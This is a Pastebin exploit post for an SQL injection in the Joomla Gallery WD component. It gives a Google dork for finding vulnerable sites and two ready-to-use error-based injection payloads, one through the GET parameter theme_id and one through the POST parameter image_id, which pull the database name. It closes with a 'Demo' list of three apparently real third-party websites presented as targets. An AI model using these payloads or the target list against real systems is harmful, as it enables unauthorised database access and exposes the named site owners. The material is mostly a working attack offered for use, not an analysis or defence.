CrashBandicot

Joomla Gallery WD Component - SQL Injection Vulnerability

Apr 1st, 2015
11,180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.54 KB | None | 0 0
  1. ######################################################################
  2. # Exploit Title: Joomla Gallery WD - SQL Injection Vulnerability
  3. # Google Dork: inurl:option=com_gallery_wd
  4. # Date: 29.03.2015
  5. # Exploit Author: CrashBandicot (@DosPerl)
  6. # Vendor HomePage: http://web-dorado.com/
  7. # Source Component : http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd
  8. # Tested on: Windows
  9. ######################################################################
  10.  
  11. parameter 'theme_id' in GET vulnerable
  12.  
  13. # Example :
  14. # Parameter: theme_id (GET)
  15. # Type: error-based
  16. # GET Payload : index.php?option=com_gallery_wd&view=gallerybox&image_id=19&gallery_id=2&theme_id=1 AND (SELECT 6173 FROM(SELECT COUNT(*),CONCAT(0x716b627871,(MID((IFNULL(CAST(database() AS CHAR),0x20)),1,50)),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
  17.  
  18. # ==================================================================================== #
  19.  
  20. parameter 'image_id' in POST vulnerable
  21.  
  22. # Example :
  23. # URI : /index.php?option=com_gallery_wd&view=gallerybox&image_id=19&gallery_id=2
  24. # Parameter: image_id (POST)
  25. # Type: error-based
  26. # POST Payload: image_id=19 AND (SELECT 6173 FROM(SELECT COUNT(*),CONCAT(0x716b627871,(MID((IFNULL(CAST(database() AS CHAR),0x20)),1,50)),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&rate=&ajax_task=save_hit_count&task=gallerybox.ajax_search
  27.  
  28.  
  29. # ~ Demo ~ # $>
  30.  
  31. http://www.cnct.tg/
  32. http://www.nswiop.nsw.edu.au/
  33. http://cnmect.licee.edu.ro/
  34.  
  35. #EOF
Advertisement
Add Comment
Please, Sign In to add comment